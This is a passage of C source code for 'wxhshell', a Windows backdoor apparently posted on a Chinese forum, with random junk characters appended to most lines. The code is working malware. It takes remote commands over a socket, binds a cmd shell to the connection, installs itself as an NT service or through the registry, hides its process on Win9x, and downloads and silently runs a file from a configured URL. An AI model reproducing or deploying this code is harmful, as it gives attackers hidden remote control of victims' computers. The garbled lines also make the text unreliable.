  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s#WAR]x0x  
  } /\hzb/  
  else { lqm1!5dt  
h]TQn)X]  
    switch(cmd[0]) { [DF,^4g  
  7D;cw\ |  
  // 帮助 hUF5fZqii  
  case '?': { ~FN9 [aJF+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zaK#Z?V}  
    break; {$wjO7Glp  
  } urjjw.wZ  
  // 安装 0`[wpZ  
  case 'i': {  m5r7  
    if(Install()) lQe%Yh >rl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL\L"rQN6  
    else lhBT@5Dm9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fIsp;ca[k  
    break; #n#@fAY  
    } /|D*w^ >  
  // 卸载 Ym =FgM\  
  case 'r': { 3yB!M  
    if(Uninstall()) J%,*is EL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |563D#?cR  
    else [@5Ytv H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5.MGaU^Z$  
    break; ;ShJi  
    } 28UU60  
  // 显示 wxhshell 所在路径 JW3B'_0  
  case 'p': { HlH64w2^R  
    char svExeFile[MAX_PATH]; iLkZ"X.'|1  
    strcpy(svExeFile,"\n\r"); %|^fi8!:|  
      strcat(svExeFile,ExeFile); Qx+%"YO  
        send(wsh,svExeFile,strlen(svExeFile),0); [x,>?~6ek  
    break; :R~MO&  
    } k@z,Iq8  
  // 重启 Yj6*NZ*  
  case 'b': { njWL U!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FW21 U<  
    if(Boot(REBOOT)) G1o3l~x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lLF-{  
    else { (aH'h1,G  
    closesocket(wsh); 9R7 A8  
    ExitThread(0); z}MP)|aH:  
    } /,g,Ch<d  
    break; r(RKwr:m  
    } t},/}b  
  // 关机 _t^{a]/H  
  case 'd': { j4cwI90=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &2{ tF  
    if(Boot(SHUTDOWN)) 0sfr d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1f":HnLRM  
    else { # ?/<  
    closesocket(wsh); _N{RVeO  
    ExitThread(0); N _86t  
    } N-e @j4WU  
    break; n}!PO[m~  
    } 4X+ifZO  
  // 获取shell V7Ek-2M  
  case 's': { '.81zpff  
    CmdShell(wsh); SAyufLEv,  
    closesocket(wsh); P_Gw-`L5T  
    ExitThread(0); (q(~de  
    break; "O%gFye  
  } LC'{p  
  // 退出 !BOY@$Y  
  case 'x': { A m>cd;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fd[zDz  
    CloseIt(wsh); jhb6T ?}  
    break; 3%%o?8ES  
    } F)'.g d  
  // 离开 0a-0Y&lQm  
  case 'q': { aPm`^ q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,v';>.]  
    closesocket(wsh); ^HqY9QT2  
    WSACleanup(); v33dxZ'  
    exit(1); L 8dc(Z%v  
    break; -6n K<e`  
        } LQngK7>  
  } 8q,6}mV  
  } 93` AWg/T  
3v5%y '  
  // 提示信息 ,^eYlmT>6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ywXi~+kUv  
} VrxQc qPr`  
  } 2 -C!jAfd  
S|]X'f  
  return; b-{=s +:  
} (4dhuT  
K0 }p i +=  
// shell模块句柄 cM$P`{QrM  
int CmdShell(SOCKET sock) 8>WC5%f*  
{ 2&^]k`Aj6D  
STARTUPINFO si; @jsDq Ln  
ZeroMemory(&si,sizeof(si)); (?(zH3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Q+= f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /7t>TYip!  
PROCESS_INFORMATION ProcessInfo; ](wvu(y\E  
char cmdline[]="cmd"; eFL=G%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xx{PespNt  
  return 0; O4^8jK}  
} t ]_VG  
 Pyb Z)5u  
// 自身启动模式 LRb{hUt=  
int StartFromService(void) TiO"xMX  
{ jN6uT &{T  
typedef struct ~==>pj  
{ @EnuJe  
  DWORD ExitStatus; n=c 2K c  
  DWORD PebBaseAddress; P#XID 2;  
  DWORD AffinityMask; O]1y0BOQ  
  DWORD BasePriority; *Of4o  
  ULONG UniqueProcessId; vfE6Ggz  
  ULONG InheritedFromUniqueProcessId; ysQ,)QoiR{  
}   PROCESS_BASIC_INFORMATION;  f-E( "o  
t 0|!(3  
PROCNTQSIP NtQueryInformationProcess; oIb|*gX^  
Vc2A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n 3D;"a3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NR5oIKP?  
qx4I_%  
  HANDLE             hProcess; IbP#_Vt  
  PROCESS_BASIC_INFORMATION pbi; |,!IZ- th  
8$;=Uf,x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]2\VweV  
  if(NULL == hInst ) return 0; 79xx2  
EodQ*{l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pXtXjb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Vf o+a,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N =QfP  
Y! gCMLL  
  if (!NtQueryInformationProcess) return 0; glF; e T  
8F&=a,ps[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qIIv6''5@  
  if(!hProcess) return 0; h?8]C#6^  
<\}KT*Xp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H P3lz,d  
zN"J}r:  
  CloseHandle(hProcess); P)MDPI+~  
(KF=On;=Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); twlk-2yT!  
if(hProcess==NULL) return 0; ;o 0&`b?  
#EsNeBu  
HMODULE hMod; D(H>R&b!  
char procName[255]; &qr;IL7'  
unsigned long cbNeeded; ML8<4o  
H s"HID  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )>`G  
6DuEL=C  
  CloseHandle(hProcess); [3--(#R\}?  
7TDy.]  
if(strstr(procName,"services")) return 1; // 以服务启动 `R=HKtr?  
|]ZYa.+:  
  return 0; // 注册表启动 =MLcm^b  
} OC<5E121>Y  
.P MZX%*v  
// 主模块 -QmO1U  
int StartWxhshell(LPSTR lpCmdLine) y10h#&k  
{ ~ y;6W0x  
  SOCKET wsl; 26k LhFS  
BOOL val=TRUE; FcYFovS  
  int port=0; L>a  
  struct sockaddr_in door; V` 1/SQX  
x"{'&J[hx  
  if(wscfg.ws_autoins) Install(); 2h=!k|6  
MvWaB  
port=atoi(lpCmdLine); x`dHJq`_g  
FTQ%JTgT  
if(port<=0) port=wscfg.ws_port; km1~yQ"bH  
lAJxr8 .  
  WSADATA data; -OA?BEQ=I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0#S W!b|%  
K?zH35f$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )l[M Q4vWW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;Mpy#yIU.  
  door.sin_family = AF_INET;  $W9{P;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $[/&74#0HX  
  door.sin_port = htons(port); !/3B3cG  
!cAyTl(_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \&iP`v`K  
closesocket(wsl); D0#x Lh  
return 1; !H irhD N  
} 0 rXx RQ  
}c}| $h^Y  
  if(listen(wsl,2) == INVALID_SOCKET) { [h34d5'w  
closesocket(wsl); d~:!#uWyFk  
return 1; J<dVT xK12  
} PV/7 7{'  
  Wxhshell(wsl); \a6^LD}B  
  WSACleanup(); Z]j*9#G1s  
.72S oT  
return 0; sh`s /JRf  
cnFI &,FM  
} /`6ZAo m9  
"gne_Ye.  
// 以NT服务方式启动 g)_e]&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |*'cF-lp6v  
{ MF'$~gxo  
DWORD   status = 0; t $xY #:  
  DWORD   specificError = 0xfffffff; v%s`~~u%^  
krC{ed  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y<Xz wro0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r]l!WRn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aP8H`^DFX>  
  serviceStatus.dwWin32ExitCode     = 0; pSr{>;bN  
  serviceStatus.dwServiceSpecificExitCode = 0; x-AZ %)N9  
  serviceStatus.dwCheckPoint       = 0; /~Z?27F6@  
  serviceStatus.dwWaitHint       = 0; LK, bO|  
%_{tzXim  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hDcEGU_  
  if (hServiceStatusHandle==0) return; vpld*TL*  
"(3BvMA&!9  
status = GetLastError(); 8-_QFgY  
  if (status!=NO_ERROR) _&j}<K$- (  
{ vt;{9\Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nM-h&na{s  
    serviceStatus.dwCheckPoint       = 0; 'eJ+JM<0%  
    serviceStatus.dwWaitHint       = 0; b D[!/'4eJ  
    serviceStatus.dwWin32ExitCode     = status; M5*{  
    serviceStatus.dwServiceSpecificExitCode = specificError; I{lT>go  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>:;#2+og  
    return; ]Qfn(u=o  
  } ,^x4sA[/  
T:IW%?M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  k7>|q"0C  
  serviceStatus.dwCheckPoint       = 0; *hQTO=WF  
  serviceStatus.dwWaitHint       = 0; 20iq2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :w<V  
} )YX 'N<[  
q*7zx_ o  
// 处理NT服务事件,比如:启动、停止 yI ld75S`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eXK o.JL  
{ B|4X}*@SX  
switch(fdwControl) hlJq-*6'  
{ rfgI$eu   
case SERVICE_CONTROL_STOP: S6+y?,^  
  serviceStatus.dwWin32ExitCode = 0; $P(v{W)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q`rF&)Q5  
  serviceStatus.dwCheckPoint   = 0; phn9:{TI  
  serviceStatus.dwWaitHint     = 0; &s$(g~ 4gC  
  { .GsO.#p{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;B?DfWX  
  } \L(*]:EP  
  return; #DN0T' B  
case SERVICE_CONTROL_PAUSE: 5o6>T!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <HJl2p N  
  break; "=+ 7-`  
case SERVICE_CONTROL_CONTINUE: gx&Tt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #%D_Y33;  
  break; wmTq` XH)  
case SERVICE_CONTROL_INTERROGATE: l"!Ko G7  
  break; \uXcLhXN  
}; j~+>o[c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g-e #!(  
} A%^w^f  
>j'ZPwj^  
// 标准应用程序主函数 e][B7wZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /,X[k !  
{ *3&fqBg  
g+ MdHn[  
// 获取操作系统版本 ]6{*^4kX  
OsIsNt=GetOsVer(); ,daKC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^~$)F_`"  
RgGyoZ  
  // 从命令行安装 _x? uU  
  if(strpbrk(lpCmdLine,"iI")) Install(); ObE,$_ k  
x,otFp  
  // 下载执行文件 ~,BIf+ \XF  
if(wscfg.ws_downexe) { :sP!p`dl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3Ezy %7  
  WinExec(wscfg.ws_filenam,SW_HIDE); jWY$5Vq<H  
} h~(D@/tB  
!O#dV1wAa  
if(!OsIsNt) { {fEwA8Ir  
// 如果时win9x,隐藏进程并且设置为注册表启动 lr{?"tl_  
HideProc(); ' /$d0`3B>  
StartWxhshell(lpCmdLine); ,N e;kI  
} ^RP)>d9Xp{  
else DZv=\<$,LF  
  if(StartFromService()) 7yz4'L  
  // 以服务方式启动 Vm df8[5  
  StartServiceCtrlDispatcher(DispatchTable); n':!,a[  
else .p=sBLp8  
  // 普通方式启动 *0}3t <5  
  StartWxhshell(lpCmdLine); ^kgBa27  
.-IkL |M  
return 0; }4{fQ`HT  
}
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只看该作者 1 发表于: 2006-10-10
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